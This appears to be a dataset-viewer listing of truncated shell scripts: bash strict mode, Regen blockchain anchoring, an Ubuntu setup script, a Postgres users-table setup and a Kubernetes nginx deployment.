# http://redsymbol.net/articles/unofficial-bash-strict-mode/
set -o errexit # always exit on error
set -o errtrace # trap errors in functions as well
set -o pipefail... |
7b8263334c4c0bb2108d316184e14c7ac3e78d0a | 1,248 | source $(dirname $0)/utils.sh
TX_FLAGS="--from $ADDR1 --yes --fees 5000uregen"
echo "INFO: Anchoring dataset: regen:13toVgf5UjYBz6J29x28pLQyjKz5FpcW3f4bT5uRKGxGREWGKjEdXYG.rdf"
regen tx data anchor regen:13toVgf5UjYBz6J29x28pLQyjKz5FpcW3f4bT5uRKGxGREWGKjEdXYG.rdf $TX_FLAGS | log_response
echo "INFO: Attesting datase... |
1924f317cfa680a83d16f8f77e4edf09a4d1d9f0 | 41 | #!/bin/bash
var version=`cat ./version`
|
5643d8ebb5942e809ad2bb6ba5c5716ecf043664 | 3,386 | #!/bin/bash
# Script to setup necessary programs and tools
# Edited to work on LXDE (tested on Lubuntu 14.04.1 LTS x86_64)
echo "Start"
# Add needed repositories
add-apt-repository -y ppa:ubuntu-mozilla-daily/firefox-aurora
add-apt-repository -y ppa:webupd8team/sublime-text-2
apt-get -y update
# Prepare the Applicat... |
91e3b2f60dad7b5193825520336a230a018affb3 | 678 | #!/usr/bin/env bash
set -e
psql -c 'create database biodela;' -U postgres
psql -c "CREATE TABLE users ( \
user_id serial primary key, \
user_name varchar(255) NOT NULL, \
password varchar(255) NOT NULL,\
email varchar(255));" -U postgres biodela
psql -c "INSERT INTO users (user_name, password, email) VALUES \
('admi... |
2fba4ff4611aa3867bac0180427ce0a1b25edebf | 349 | #!/bin/bash
#bdereims@vmware.com
. ./env
kubectl -n ${NAMESPACE} create deployment nginx --image=${HARBOR}/${NAMESPACE}/nginx:latest
kubectl -n ${NAMESPACE} patch deployment nginx -p '{"spec": {"template": {"spec": {"imagePullSecrets": [ {"name": "regsecret" } ] }}}}'
kubectl -n ${NAMESPACE} expose deployment nginx -... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.